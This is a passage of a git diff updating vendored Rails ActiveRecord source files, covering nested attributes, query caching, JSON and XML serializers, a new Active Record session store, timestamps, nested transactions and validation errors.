+        if attributes['id'].blank?
+          unless reject_new_record?(association_name, attributes)
+            send(association_name).build(attributes.except(*UNASSIGNABLE_KEYS))
+          end
+        elsif existing_record = send(association_name).detect { |record| record.id.to_s == attributes['id'].to_s }
+          assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy])
+        end
+      end
+    end
+
+    # Updates a record with the +attributes+ or marks it for destruction if
+    # +allow_destroy+ is +true+ and has_destroy_flag? returns +true+.
+    def assign_to_or_mark_for_destruction(record, attributes, allow_destroy)
+      if has_destroy_flag?(attributes) && allow_destroy
+        record.mark_for_destruction
+      else
+        record.attributes = attributes.except(*UNASSIGNABLE_KEYS)
+      end
+    end
+
+    # Determines if a hash contains a truthy _destroy key.
+    def has_destroy_flag?(hash)
+      ConnectionAdapters::Column.value_to_boolean(hash['_destroy']) ||
+      ConnectionAdapters::Column.value_to_boolean(hash['_delete']) # TODO Remove after deprecation.
+    end
+
+    # Determines if a new record should be build by checking for
+    # has_destroy_flag? or if a <tt>:reject_if</tt> proc exists for this
+    # association and evaluates to +true+.
+    def reject_new_record?(association_name, attributes)
+      has_destroy_flag?(attributes) || call_reject_if(association_name, attributes)
+    end
+
+    def call_reject_if(association_name, attributes)
+      callback = self.nested_attributes_options[association_name][:reject_if]
+
+      case callback
+      when Symbol
+        method(callback).arity == 0 ? send(callback) : send(callback, attributes)
+      when Proc
+        callback.try(:call, attributes)
+      end
+    end
+  end
+end
diff --git a/vendor/rails/activerecord/lib/active_record/query_cache.rb b/vendor/rails/activerecord/lib/active_record/query_cache.rb
index a8af89fc..eb92bc25 100644
--- a/vendor/rails/activerecord/lib/active_record/query_cache.rb
+++ b/vendor/rails/activerecord/lib/active_record/query_cache.rb
@@ -1,20 +1,32 @@
 module ActiveRecord
-  module QueryCache
-    # Enable the query cache within the block if Active Record is configured.
-    def cache(&block)
-      if ActiveRecord::Base.configurations.blank?
-        yield
-      else
-        connection.cache(&block)
+  class QueryCache
+    module ClassMethods
+      # Enable the query cache within the block if Active Record is configured.
+      def cache(&block)
+        if ActiveRecord::Base.configurations.blank?
+          yield
+        else
+          connection.cache(&block)
+        end
+      end
+
+      # Disable the query cache within the block if Active Record is configured.
+      def uncached(&block)
+        if ActiveRecord::Base.configurations.blank?
+          yield
+        else
+          connection.uncached(&block)
+        end
       end
     end
 
-    # Disable the query cache within the block if Active Record is configured.
-    def uncached(&block)
-      if ActiveRecord::Base.configurations.blank?
-        yield
-      else
-        connection.uncached(&block)
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      ActiveRecord::Base.cache do
+        @app.call(env)
       end
     end
   end
diff --git a/vendor/rails/activerecord/lib/active_record/reflection.rb b/vendor/rails/activerecord/lib/active_record/reflection.rb
index dbff4f24..54b8c612 100644
--- a/vendor/rails/activerecord/lib/active_record/reflection.rb
+++ b/vendor/rails/activerecord/lib/active_record/reflection.rb
@@ -65,6 +65,11 @@ module ActiveRecord
       def reflect_on_association(association)
         reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil
       end
+
+      # Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled.
+      def reflect_on_all_autosave_associations
+        reflections.values.select { |reflection| reflection.options[:autosave] }
+      end
     end
 
 
@@ -192,12 +197,20 @@ module ActiveRecord
 
       def counter_cache_column
         if options[:counter_cache] == true
-          "#{active_record.name.underscore.pluralize}_count"
+          "#{active_record.name.demodulize.underscore.pluralize}_count"
         elsif options[:counter_cache]
           options[:counter_cache]
         end
       end
 
+      def columns(tbl_name, log_msg)
+        @columns ||= klass.connection.columns(tbl_name, log_msg)
+      end
+
+      def reset_column_information
+        @columns = nil
+      end
+
       def check_validity!
       end
 
@@ -284,7 +297,7 @@ module ActiveRecord
           raise HasManyThroughAssociationPolymorphicError.new(active_record.name, self, source_reflection)
         end
 
-        unless [:belongs_to, :has_many].include?(source_reflection.macro) && source_reflection.options[:through].nil?
+        unless [:belongs_to, :has_many, :has_one].include?(source_reflection.macro) && source_reflection.options[:through].nil?
           raise HasManyThroughSourceAssociationMacroError.new(self)
         end
       end
diff --git a/vendor/rails/activerecord/lib/active_record/schema_dumper.rb b/vendor/rails/activerecord/lib/active_record/schema_dumper.rb
index 2181bdf2..68a45a01 100644
--- a/vendor/rails/activerecord/lib/active_record/schema_dumper.rb
+++ b/vendor/rails/activerecord/lib/active_record/schema_dumper.rb
@@ -7,6 +7,8 @@ module ActiveRecord
   class SchemaDumper #:nodoc:
     private_class_method :new
     
+    ##
+    # :singleton-method:
     # A list of tables which should not be dumped to the schema. 
     # Acceptable values are strings as well as regexp.
     # This setting is only used if ActiveRecord::Base.schema_format == :ruby
@@ -76,11 +78,13 @@ HEADER
         begin
           tbl = StringIO.new
 
+          # first dump primary key column
           if @connection.respond_to?(:pk_and_sequence_for)
             pk, pk_seq = @connection.pk_and_sequence_for(table)
+          elsif @connection.respond_to?(:primary_key)
+            pk = @connection.primary_key(table)
           end
-          pk ||= 'id'
-
+          
           tbl.print "  create_table #{table.inspect}"
           if columns.detect { |c| c.name == pk }
             if pk != 'id'
@@ -92,6 +96,7 @@ HEADER
           tbl.print ", :force => true"
           tbl.puts " do |t|"
 
+          # then dump all non-primary key columns
           column_specs = columns.map do |column|
             raise StandardError, "Unknown type '#{column.sql_type}' for column '#{column.name}'" if @types[column.type].nil?
             next if column.name == pk
@@ -174,4 +179,4 @@ HEADER
         end
       end
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/activerecord/lib/active_record/serialization.rb b/vendor/rails/activerecord/lib/active_record/serialization.rb
index 332cda1e..629ce9a1 100644
--- a/vendor/rails/activerecord/lib/active_record/serialization.rb
+++ b/vendor/rails/activerecord/lib/active_record/serialization.rb
@@ -1,10 +1,13 @@
+require 'active_support/json'
+
 module ActiveRecord #:nodoc:
   module Serialization
     class Serializer #:nodoc:
       attr_reader :options
 
-      def initialize(record, options = {})
-        @record, @options = record, options.dup
+      def initialize(record, options = nil)
+        @record = record
+        @options = options ? options.dup : {}
       end
 
       # To replicate the behavior in ActiveRecord#attributes,
@@ -95,4 +98,4 @@ module ActiveRecord #:nodoc:
 end
 
 require 'active_record/serializers/xml_serializer'
-require 'active_record/serializers/json_serializer'
\ No newline at end of file
+require 'active_record/serializers/json_serializer'
diff --git a/vendor/rails/activerecord/lib/active_record/serializers/json_serializer.rb b/vendor/rails/activerecord/lib/active_record/serializers/json_serializer.rb
index 419b45d4..a20dfbc3 100644
--- a/vendor/rails/activerecord/lib/active_record/serializers/json_serializer.rb
+++ b/vendor/rails/activerecord/lib/active_record/serializers/json_serializer.rb
@@ -1,13 +1,34 @@
+require 'active_support/json'
+require 'active_support/core_ext/module/model_naming'
+
 module ActiveRecord #:nodoc:
   module Serialization
     def self.included(base)
       base.cattr_accessor :include_root_in_json, :instance_writer => false
-      base.extend ClassMethods
     end
 
     # Returns a JSON string representing the model. Some configuration is
     # available through +options+.
     #
+    # The option <tt>ActiveRecord::Base.include_root_in_json</tt> controls the
+    # top-level behavior of to_json. In a new Rails application, it is set to 
+    # <tt>true</tt> in initializers/new_rails_defaults.rb. When it is <tt>true</tt>,
+    # to_json will emit a single root node named after the object's type. For example:
+    #
+    #   konata = User.find(1)
+    #   ActiveRecord::Base.include_root_in_json = true
+    #   konata.to_json
+    #   # => { "user": {"id": 1, "name": "Konata Izumi", "age": 16,
+    #                   "created_at": "2006/08/01", "awesome": true} }
+    #
+    #   ActiveRecord::Base.include_root_in_json = false
+    #   konata.to_json
+    #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
+    #         "created_at": "2006/08/01", "awesome": true}
+    #
+    # The remainder of the examples in this section assume include_root_in_json is set to
+    # <tt>false</tt>.
+    #
     # Without any +options+, the returned JSON string will include all
     # the model's attributes. For example:
     #
@@ -53,28 +74,18 @@ module ActiveRecord #:nodoc:
     #                   {"comments": [{"body": "Don't think too hard"}],
     #                    "title": "So I was thinking"}]}
     def to_json(options = {})
-      if include_root_in_json
-        "{#{self.class.json_class_name}: #{JsonSerializer.new(self, options).to_s}}"
-      else
-        JsonSerializer.new(self, options).to_s
-      end
+      super
+    end
+
+    def as_json(options = nil) #:nodoc:
+      hash = Serializer.new(self, options).serializable_record
+      hash = { self.class.model_name.element => hash } if include_root_in_json
+      hash
     end
 
     def from_json(json)
       self.attributes = ActiveSupport::JSON.decode(json)
       self
     end
-
-    class JsonSerializer < ActiveRecord::Serialization::Serializer #:nodoc:
-      def serialize
-        serializable_record.to_json
-      end
-    end
-
-    module ClassMethods
-      def json_class_name
-        @json_class_name ||= name.demodulize.underscore.inspect
-      end
-    end
   end
 end
diff --git a/vendor/rails/activerecord/lib/active_record/serializers/xml_serializer.rb b/vendor/rails/activerecord/lib/active_record/serializers/xml_serializer.rb
index d171b742..9bf11930 100644
--- a/vendor/rails/activerecord/lib/active_record/serializers/xml_serializer.rb
+++ b/vendor/rails/activerecord/lib/active_record/serializers/xml_serializer.rb
@@ -23,11 +23,12 @@ module ActiveRecord #:nodoc:
     #   </topic>
     #
     # This behavior can be controlled with <tt>:only</tt>, <tt>:except</tt>,
-    # <tt>:skip_instruct</tt>, <tt>:skip_types</tt> and <tt>:dasherize</tt>.
+    # <tt>:skip_instruct</tt>, <tt>:skip_types</tt>, <tt>:dasherize</tt> and <tt>:camelize</tt> .
     # The <tt>:only</tt> and <tt>:except</tt> options are the same as for the
     # +attributes+ method. The default is to dasherize all column names, but you
-    # can disable this setting <tt>:dasherize</tt> to +false+. To not have the
-    # column type included in the XML output set <tt>:skip_types</tt> to +true+.
+    # can disable this setting <tt>:dasherize</tt> to +false+. Setting <tt>:camelize</tt>
+    # to +true+ will camelize all column names - this also overrides <tt>:dasherize</tt>.
+    # To not have the column type included in the XML output set <tt>:skip_types</tt> to +true+.
     #
     # For instance:
     #
@@ -177,14 +178,23 @@ module ActiveRecord #:nodoc:
     end
 
     def root
-      root = (options[:root] || @record.class.to_s.underscore).to_s
-      dasherize? ? root.dasherize : root
+      root = (options[:root] || @record.class.model_name.singular).to_s
+      reformat_name(root)
     end
 
     def dasherize?
       !options.has_key?(:dasherize) || options[:dasherize]
     end
 
+    def camelize?
+      options.has_key?(:camelize) && options[:camelize]
+    end
+
+    def reformat_name(name)
+      name = name.camelize if camelize?
+      dasherize? ? name.dasherize : name
+    end
+
     def serializable_attributes
       serializable_attribute_names.collect { |name| Attribute.new(name, @record) }
     end
@@ -212,7 +222,7 @@ module ActiveRecord #:nodoc:
 
     def add_tag(attribute)
       builder.tag!(
-        dasherize? ? attribute.name.dasherize : attribute.name,
+        reformat_name(attribute.name),
         attribute.value.to_s,
         attribute.decorations(!options[:skip_types])
       )
@@ -220,18 +230,23 @@ module ActiveRecord #:nodoc:
 
     def add_associations(association, records, opts)
       if records.is_a?(Enumerable)
-        tag = association.to_s
-        tag = tag.dasherize if dasherize?
+        tag = reformat_name(association.to_s)
+        type = options[:skip_types] ? {} : {:type => "array"}
+
         if records.empty?
-          builder.tag!(tag, :type => :array)
+          builder.tag!(tag, type)
         else
-          builder.tag!(tag, :type => :array) do
+          builder.tag!(tag, type) do
             association_name = association.to_s.singularize
             records.each do |record|
-              record.to_xml opts.merge(
-                :root => association_name,
-                :type => (record.class.to_s.underscore == association_name ? nil : record.class.name)
-              )
+              if options[:skip_types]
+                record_type = {}
+              else
+                record_class = (record.class.to_s.underscore == association_name) ? nil : record.class.name
+                record_type = {:type => record_class}
+              end
+
+              record.to_xml opts.merge(:root => association_name).merge(record_type)
             end
           end
         end
@@ -305,7 +320,11 @@ module ActiveRecord #:nodoc:
 
       protected
         def compute_type
-          type = @record.class.serialized_attributes.has_key?(name) ? :yaml : @record.class.columns_hash[name].type
+          type = if @record.class.serialized_attributes.has_key?(name)
+                   :yaml
+                 else
+                   @record.class.columns_hash[name].try(:type)
+                 end
 
           case type
             when :text
diff --git a/vendor/rails/activerecord/lib/active_record/session_store.rb b/vendor/rails/activerecord/lib/active_record/session_store.rb
new file mode 100644
index 00000000..c91b9433
--- /dev/null
+++ b/vendor/rails/activerecord/lib/active_record/session_store.rb
@@ -0,0 +1,326 @@
+module ActiveRecord
+  # A session store backed by an Active Record class.  A default class is
+  # provided, but any object duck-typing to an Active Record Session class
+  # with text +session_id+ and +data+ attributes is sufficient.
+  #
+  # The default assumes a +sessions+ tables with columns:
+  #   +id+ (numeric primary key),
+  #   +session_id+ (text, or longtext if your session data exceeds 65K), and
+  #   +data+ (text or longtext; careful if your session data exceeds 65KB).
+  # The +session_id+ column should always be indexed for speedy lookups.
+  # Session data is marshaled to the +data+ column in Base64 format.
+  # If the data you write is larger than the column's size limit,
+  # ActionController::SessionOverflowError will be raised.
+  #
+  # You may configure the table name, primary key, and data column.
+  # For example, at the end of <tt>config/environment.rb</tt>:
+  #   ActiveRecord::SessionStore::Session.table_name = 'legacy_session_table'
+  #   ActiveRecord::SessionStore::Session.primary_key = 'session_id'
+  #   ActiveRecord::SessionStore::Session.data_column_name = 'legacy_session_data'
+  # Note that setting the primary key to the +session_id+ frees you from
+  # having a separate +id+ column if you don't want it.  However, you must
+  # set <tt>session.model.id = session.session_id</tt> by hand!  A before filter
+  # on ApplicationController is a good place.
+  #
+  # Since the default class is a simple Active Record, you get timestamps
+  # for free if you add +created_at+ and +updated_at+ datetime columns to
+  # the +sessions+ table, making periodic session expiration a snap.
+  #
+  # You may provide your own session class implementation, whether a
+  # feature-packed Active Record or a bare-metal high-performance SQL
+  # store, by setting
+  #   ActiveRecord::SessionStore.session_class = MySessionClass
+  # You must implement these methods:
+  #   self.find_by_session_id(session_id)
+  #   initialize(hash_of_session_id_and_data)
+  #   attr_reader :session_id
+  #   attr_accessor :data
+  #   save
+  #   destroy
+  #
+  # The example SqlBypass class is a generic SQL session store.  You may
+  # use it as a basis for high-performance database-specific stores.
+  class SessionStore < ActionController::Session::AbstractStore
+    # The default Active Record class.
+    class Session < ActiveRecord::Base
+      ##
+      # :singleton-method:
+      # Customizable data column name.  Defaults to 'data'.
+      cattr_accessor :data_column_name
+      self.data_column_name = 'data'
+
+      before_save :marshal_data!
+      before_save :raise_on_session_data_overflow!
+
+      class << self
+        def data_column_size_limit
+          @data_column_size_limit ||= columns_hash[@@data_column_name].limit
+        end
+
+        # Hook to set up sessid compatibility.
+        def find_by_session_id(session_id)
+          setup_sessid_compatibility!
+          find_by_session_id(session_id)
+        end
+
+        def marshal(data)
+          ActiveSupport::Base64.encode64(Marshal.dump(data)) if data
+        end
+
+        def unmarshal(data)
+          Marshal.load(ActiveSupport::Base64.decode64(data)) if data
+        end
+
+        def create_table!
+          connection.execute <<-end_sql
+            CREATE TABLE #{table_name} (
+              id INTEGER PRIMARY KEY,
+              #{connection.quote_column_name('session_id')} TEXT UNIQUE,
+              #{connection.quote_column_name(@@data_column_name)} TEXT(255)
+            )
+          end_sql
+        end
+
+        def drop_table!
+          connection.execute "DROP TABLE #{table_name}"
+        end
+
+        private
+          # Compatibility with tables using sessid instead of session_id.
+          def setup_sessid_compatibility!
+            # Reset column info since it may be stale.
+            reset_column_information
+            if columns_hash['sessid']
+              def self.find_by_session_id(*args)
+                find_by_sessid(*args)
+              end
+
+              define_method(:session_id)  { sessid }
+              define_method(:session_id=) { |session_id| self.sessid = session_id }
+            else
+              def self.find_by_session_id(session_id)
+                find :first, :conditions => {:session_id=>session_id}
+              end
+            end
+          end
+      end
+
+      # Lazy-unmarshal session state.
+      def data
+        @data ||= self.class.unmarshal(read_attribute(@@data_column_name)) || {}
+      end
+
+      attr_writer :data
+
+      # Has the session been loaded yet?
+      def loaded?
+        !!@data
+      end
+
+      private
+        def marshal_data!
+          return false if !loaded?
+          write_attribute(@@data_column_name, self.class.marshal(self.data))
+        end
+
+        # Ensures that the data about to be stored in the database is not
+        # larger than the data storage column. Raises
+        # ActionController::SessionOverflowError.
+        def raise_on_session_data_overflow!
+          return false if !loaded?
+          limit = self.class.data_column_size_limit
+          if loaded? and limit and read_attribute(@@data_column_name).size > limit
+            raise ActionController::SessionOverflowError
+          end
+        end
+    end
+
+    # A barebones session store which duck-types with the default session
+    # store but bypasses Active Record and issues SQL directly.  This is
+    # an example session model class meant as a basis for your own classes.
+    #
+    # The database connection, table name, and session id and data columns
+    # are configurable class attributes.  Marshaling and unmarshaling
+    # are implemented as class methods that you may override.  By default,
+    # marshaling data is
+    #
+    #   ActiveSupport::Base64.encode64(Marshal.dump(data))
+    #
+    # and unmarshaling data is
+    #
+    #   Marshal.load(ActiveSupport::Base64.decode64(data))
+    #
+    # This marshaling behavior is intended to store the widest range of
+    # binary session data in a +text+ column.  For higher performance,
+    # store in a +blob+ column instead and forgo the Base64 encoding.
+    class SqlBypass
+      ##
+      # :singleton-method:
+      # Use the ActiveRecord::Base.connection by default.
+      cattr_accessor :connection
+
+      ##
+      # :singleton-method:
+      # The table name defaults to 'sessions'.
+      cattr_accessor :table_name
+      @@table_name = 'sessions'
+
+      ##
+      # :singleton-method:
+      # The session id field defaults to 'session_id'.
+      cattr_accessor :session_id_column
+      @@session_id_column = 'session_id'
+
+      ##
+      # :singleton-method:
+      # The data field defaults to 'data'.
+      cattr_accessor :data_column
+      @@data_column = 'data'
+
+      class << self
+        def connection
+          @@connection ||= ActiveRecord::Base.connection
+        end
+
+        # Look up a session by id and unmarshal its data if found.
+        def find_by_session_id(session_id)
+          if record = @@connection.select_one("SELECT * FROM #{@@table_name} WHERE #{@@session_id_column}=#{@@connection.quote(session_id)}")
+            new(:session_id => session_id, :marshaled_data => record['data'])
+          end
+        end
+
+        def marshal(data)
+          ActiveSupport::Base64.encode64(Marshal.dump(data)) if data
+        end
+
+        def unmarshal(data)
+          Marshal.load(ActiveSupport::Base64.decode64(data)) if data
+        end
+
+        def create_table!
+          @@connection.execute <<-end_sql
+            CREATE TABLE #{table_name} (
+              id INTEGER PRIMARY KEY,
+              #{@@connection.quote_column_name(session_id_column)} TEXT UNIQUE,
+              #{@@connection.quote_column_name(data_column)} TEXT
+            )
+          end_sql
+        end
+
+        def drop_table!
+          @@connection.execute "DROP TABLE #{table_name}"
+        end
+      end
+
+      attr_reader :session_id
+      attr_writer :data
+
+      # Look for normal and marshaled data, self.find_by_session_id's way of
+      # telling us to postpone unmarshaling until the data is requested.
+      # We need to handle a normal data attribute in case of a new record.
+      def initialize(attributes)
+        @session_id, @data, @marshaled_data = attributes[:session_id], attributes[:data], attributes[:marshaled_data]
+        @new_record = @marshaled_data.nil?
+      end
+
+      def new_record?
+        @new_record
+      end
+
+      # Lazy-unmarshal session state.
+      def data
+        unless @data
+          if @marshaled_data
+            @data, @marshaled_data = self.class.unmarshal(@marshaled_data) || {}, nil
+          else
+            @data = {}
+          end
+        end
+        @data
+      end
+
+      def loaded?
+        !!@data
+      end
+
+      def save
+        return false if !loaded?
+        marshaled_data = self.class.marshal(data)
+
+        if @new_record
+          @new_record = false
+          @@connection.update <<-end_sql, 'Create session'
+            INSERT INTO #{@@table_name} (
+              #{@@connection.quote_column_name(@@session_id_column)},
+              #{@@connection.quote_column_name(@@data_column)} )
+            VALUES (
+              #{@@connection.quote(session_id)},
+              #{@@connection.quote(marshaled_data)} )
+          end_sql
+        else
+          @@connection.update <<-end_sql, 'Update session'
+            UPDATE #{@@table_name}
+            SET #{@@connection.quote_column_name(@@data_column)}=#{@@connection.quote(marshaled_data)}
+            WHERE #{@@connection.quote_column_name(@@session_id_column)}=#{@@connection.quote(session_id)}
+          end_sql
+        end
+      end
+
+      def destroy
+        unless @new_record
+          @@connection.delete <<-end_sql, 'Destroy session'
+            DELETE FROM #{@@table_name}
+            WHERE #{@@connection.quote_column_name(@@session_id_column)}=#{@@connection.quote(session_id)}
+          end_sql
+        end
+      end
+    end
+
+    # The class used for session storage.  Defaults to
+    # ActiveRecord::SessionStore::Session
+    cattr_accessor :session_class
+    self.session_class = Session
+
+    SESSION_RECORD_KEY = 'rack.session.record'.freeze
+
+    private
+      def get_session(env, sid)
+        Base.silence do
+          sid ||= generate_sid
+          session = find_session(sid)
+          env[SESSION_RECORD_KEY] = session
+          [sid, session.data]
+        end
+      end
+
+      def set_session(env, sid, session_data)
+        Base.silence do
+          record = get_session_model(env, sid)
+          record.data = session_data
+          return false unless record.save
+
+          session_data = record.data
+          if session_data && session_data.respond_to?(:each_value)
+            session_data.each_value do |obj|
+              obj.clear_association_cache if obj.respond_to?(:clear_association_cache)
+            end
+          end
+        end
+
+        return true
+      end
+      
+      def get_session_model(env, sid)
+        if env[ENV_SESSION_OPTIONS_KEY][:id].nil?
+          env[SESSION_RECORD_KEY] = find_session(sid)
+        else
+          env[SESSION_RECORD_KEY] ||= find_session(sid)
+        end
+      end
+
+      def find_session(id)
+        @@session_class.find_by_session_id(id) ||
+          @@session_class.new(:session_id => id, :data => {})
+      end
+  end
+end
diff --git a/vendor/rails/activerecord/lib/active_record/test_case.rb b/vendor/rails/activerecord/lib/active_record/test_case.rb
index eca82aa0..8c6abaac 100644
--- a/vendor/rails/activerecord/lib/active_record/test_case.rb
+++ b/vendor/rails/activerecord/lib/active_record/test_case.rb
@@ -1,15 +1,7 @@
 require "active_support/test_case"
 
-module ActiveRecord 
+module ActiveRecord
   class TestCase < ActiveSupport::TestCase #:nodoc:
-    self.fixture_path               = FIXTURES_ROOT
-    self.use_instantiated_fixtures  = false
-    self.use_transactional_fixtures = true
-
-    def create_fixtures(*table_names, &block)
-      Fixtures.create_fixtures(FIXTURES_ROOT, table_names, {}, &block)
-    end
-
     def assert_date_from_db(expected, actual, message = nil)
       # SybaseAdapter doesn't have a separate column type just for dates,
       # so the time is in the string and incorrectly formatted
@@ -35,6 +27,7 @@ module ActiveRecord
       $queries_executed = []
       yield
     ensure
+      %w{ BEGIN COMMIT }.each { |x| $queries_executed.delete(x) }
       assert_equal num, $queries_executed.size, "#{$queries_executed.size} instead of #{num} queries were executed.#{$queries_executed.size == 0 ? '' : "\nQueries:\n#{$queries_executed.join("\n")}"}"
     end
 
@@ -56,5 +49,18 @@ module ActiveRecord
       ActiveRecord::Base.clear_all_connections!
       ActiveRecord::Base.establish_connection(@connection)
     end
+
+    def with_kcode(kcode)
+      if RUBY_VERSION < '1.9'
+        orig_kcode, $KCODE = $KCODE, kcode
+        begin
+          yield
+        ensure
+          $KCODE = orig_kcode
+        end
+      else
+        yield
+      end
+    end
   end
 end
diff --git a/vendor/rails/activerecord/lib/active_record/timestamp.rb b/vendor/rails/activerecord/lib/active_record/timestamp.rb
index a9e0efa6..d9e1ef35 100644
--- a/vendor/rails/activerecord/lib/active_record/timestamp.rb
+++ b/vendor/rails/activerecord/lib/active_record/timestamp.rb
@@ -15,27 +15,57 @@ module ActiveRecord
       base.class_inheritable_accessor :record_timestamps, :instance_writer => false
       base.record_timestamps = true
     end
+    
+    # Saves the record with the updated_at/on attributes set to the current time.
+    # If the save fails because of validation errors, an ActiveRecord::RecordInvalid exception is raised.
+    # If an attribute name is passed, that attribute is used for the touch instead of the updated_at/on attributes.
+    #
+    # Examples:
+    #
+    #   product.touch               # updates updated_at
+    #   product.touch(:designed_at) # updates the designed_at attribute
+    def touch(attribute = nil)
+      current_time = current_time_from_proper_timezone
+
+      if attribute
+        write_attribute(attribute, current_time)
+      else
+        write_attribute('updated_at', current_time) if respond_to?(:updated_at)
+        write_attribute('updated_on', current_time) if respond_to?(:updated_on)
+      end
+
+      save!
+    end
+
 
     private
       def create_with_timestamps #:nodoc:
         if record_timestamps
-          t = self.class.default_timezone == :utc ? Time.now.utc : Time.now
-          write_attribute('created_at', t) if respond_to?(:created_at) && created_at.nil?
-          write_attribute('created_on', t) if respond_to?(:created_on) && created_on.nil?
+          current_time = current_time_from_proper_timezone
 
-          write_attribute('updated_at', t) if respond_to?(:updated_at)
-          write_attribute('updated_on', t) if respond_to?(:updated_on)
+          write_attribute('created_at', current_time) if respond_to?(:created_at) && created_at.nil?
+          write_attribute('created_on', current_time) if respond_to?(:created_on) && created_on.nil?
+
+          write_attribute('updated_at', current_time) if respond_to?(:updated_at) && updated_at.nil?
+          write_attribute('updated_on', current_time) if respond_to?(:updated_on) && updated_on.nil?
         end
+
         create_without_timestamps
       end
 
       def update_with_timestamps(*args) #:nodoc:
         if record_timestamps && (!partial_updates? || changed?)
-          t = self.class.default_timezone == :utc ? Time.now.utc : Time.now
-          write_attribute('updated_at', t) if respond_to?(:updated_at)
-          write_attribute('updated_on', t) if respond_to?(:updated_on)
+          current_time = current_time_from_proper_timezone
+
+          write_attribute('updated_at', current_time) if respond_to?(:updated_at)
+          write_attribute('updated_on', current_time) if respond_to?(:updated_on)
         end
+
         update_without_timestamps(*args)
       end
+      
+      def current_time_from_proper_timezone
+        self.class.default_timezone == :utc ? Time.now.utc : Time.now
+      end
   end
-end
+end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/lib/active_record/transactions.rb b/vendor/rails/activerecord/lib/active_record/transactions.rb
index 27b5aca1..0b6e52c7 100644
--- a/vendor/rails/activerecord/lib/active_record/transactions.rb
+++ b/vendor/rails/activerecord/lib/active_record/transactions.rb
@@ -120,16 +120,66 @@ module ActiveRecord
     #   end
     #
     # One should restart the entire transaction if a StatementError occurred.
+    #
+    # == Nested transactions
+    #
+    # #transaction calls can be nested. By default, this makes all database
+    # statements in the nested transaction block become part of the parent
+    # transaction. For example:
+    #
+    #   User.transaction do
+    #     User.create(:username => 'Kotori')
+    #     User.transaction do
+    #       User.create(:username => 'Nemu')
+    #       raise ActiveRecord::Rollback
+    #     end
+    #   end
+    #   
+    #   User.find(:all)  # => empty
+    #
+    # It is also possible to requires a sub-transaction by passing
+    # <tt>:requires_new => true</tt>.  If anything goes wrong, the
+    # database rolls back to the beginning of the sub-transaction
+    # without rolling back the parent transaction. For example:
+    #
+    #   User.transaction do
+    #     User.create(:username => 'Kotori')
+    #     User.transaction(:requires_new => true) do
+    #       User.create(:username => 'Nemu')
+    #       raise ActiveRecord::Rollback
+    #     end
+    #   end
+    #   
+    #   User.find(:all)  # => Returns only Kotori
+    #
+    # Most databases don't support true nested transactions. At the time of
+    # writing, the only database that we're aware of that supports true nested
+    # transactions, is MS-SQL. Because of this, Active Record emulates nested
+    # transactions by using savepoints. See
+    # http://dev.mysql.com/doc/refman/5.0/en/savepoints.html
+    # for more information about savepoints.
+    #
+    # === Caveats
+    #
+    # If you're on MySQL, then do not use DDL operations in nested transactions
+    # blocks that are emulated with savepoints. That is, do not execute statements
+    # like 'CREATE TABLE' inside such blocks. This is because MySQL automatically
+    # releases all savepoints upon executing a DDL operation. When #transaction
+    # is finished and tries to release the savepoint it created earlier, a
+    # database error will occur because the savepoint has already been
+    # automatically released. The following example demonstrates the problem:
+    # 
+    #   Model.connection.transaction do                           # BEGIN
+    #     Model.connection.transaction(:requires_new => true) do  # CREATE SAVEPOINT active_record_1
+    #       Model.connection.create_table(...)                    # active_record_1 now automatically released
+    #     end                                                     # RELEASE savepoint active_record_1
+    #                                                             # ^^^^ BOOM! database error!
+    #   end
     module ClassMethods
       # See ActiveRecord::Transactions::ClassMethods for detailed documentation.
-      def transaction(&block)
-        connection.increment_open_transactions
-
-        begin
-          connection.transaction(connection.open_transactions == 1, &block)
-        ensure
-          connection.decrement_open_transactions
-        end
+      def transaction(options = {}, &block)
+        # See the ConnectionAdapters::DatabaseStatements#transaction API docs.
+        connection.transaction(options, &block)
       end
     end
 
@@ -147,7 +197,7 @@ module ActiveRecord
     end
 
     def save_with_transactions! #:nodoc:
-      rollback_active_record_state! { transaction { save_without_transactions! } }
+      rollback_active_record_state! { self.class.transaction { save_without_transactions! } }
     end
 
     # Reset id and @new_record if the transaction rolls back.
@@ -175,7 +225,7 @@ module ActiveRecord
     # instance.
     def with_transaction_returning_status(method, *args)
       status = nil
-      transaction do
+      self.class.transaction do
         status = send(method, *args)
         raise ActiveRecord::Rollback unless status
       end
diff --git a/vendor/rails/activerecord/lib/active_record/validations.rb b/vendor/rails/activerecord/lib/active_record/validations.rb
index 9220eae4..568e530c 100644
--- a/vendor/rails/activerecord/lib/active_record/validations.rb
+++ b/vendor/rails/activerecord/lib/active_record/validations.rb
@@ -10,15 +10,127 @@ module ActiveRecord
     attr_reader :record
     def initialize(record)
       @record = record
-      super("Validation failed: #{@record.errors.full_messages.join(", ")}")
+      errors = @record.errors.full_messages.join(I18n.t('support.array.words_connector', :default => ', '))
+      super(I18n.t('activerecord.errors.messages.record_invalid', :errors => errors))
     end
   end
 
+  class Error
+    attr_accessor :base, :attribute, :type, :message, :options
+
+    def initialize(base, attribute, type = nil, options = {})
+      self.base      = base
+      self.attribute = attribute
+      self.type      = type || :invalid
+      self.options   = options
+      self.message   = options.delete(:message) || self.type
+    end
+
+    def message
+      # When type is a string, it means that we do not have to do a lookup, because
+      # the user already sent the "final" message.
+      type.is_a?(String) ? type : generate_message(default_options)
+    end
+
+    def full_message
+      attribute.to_s == 'base' ? message : generate_full_message(default_options)
+    end
+
+    alias :to_s :message
+
+    def value
+      @base.respond_to?(attribute) ? @base.send(attribute) : nil
+    end
+
+    protected
+
+      # Translates an error message in it's default scope (<tt>activerecord.errrors.messages</tt>).
+      # Error messages are first looked up in <tt>models.MODEL.attributes.ATTRIBUTE.MESSAGE</tt>, if it's not there,
+      # it's looked up in <tt>models.MODEL.MESSAGE</tt> and if that is not there it returns the translation of the
+      # default message (e.g. <tt>activerecord.errors.messages.MESSAGE</tt>). The translated model name,
+      # translated attribute name and the value are available for interpolation.
+      #
+      # When using inheritence in your models, it will check all the inherited models too, but only if the model itself
+      # hasn't been found. Say you have <tt>class Admin < User; end</tt> and you wanted the translation for the <tt>:blank</tt>
+      # error +message+ for the <tt>title</tt> +attribute+, it looks for these translations:
+      #
+      # <ol>
+      # <li><tt>activerecord.errors.models.admin.attributes.title.blank</tt></li>
+      # <li><tt>activerecord.errors.models.admin.blank</tt></li>
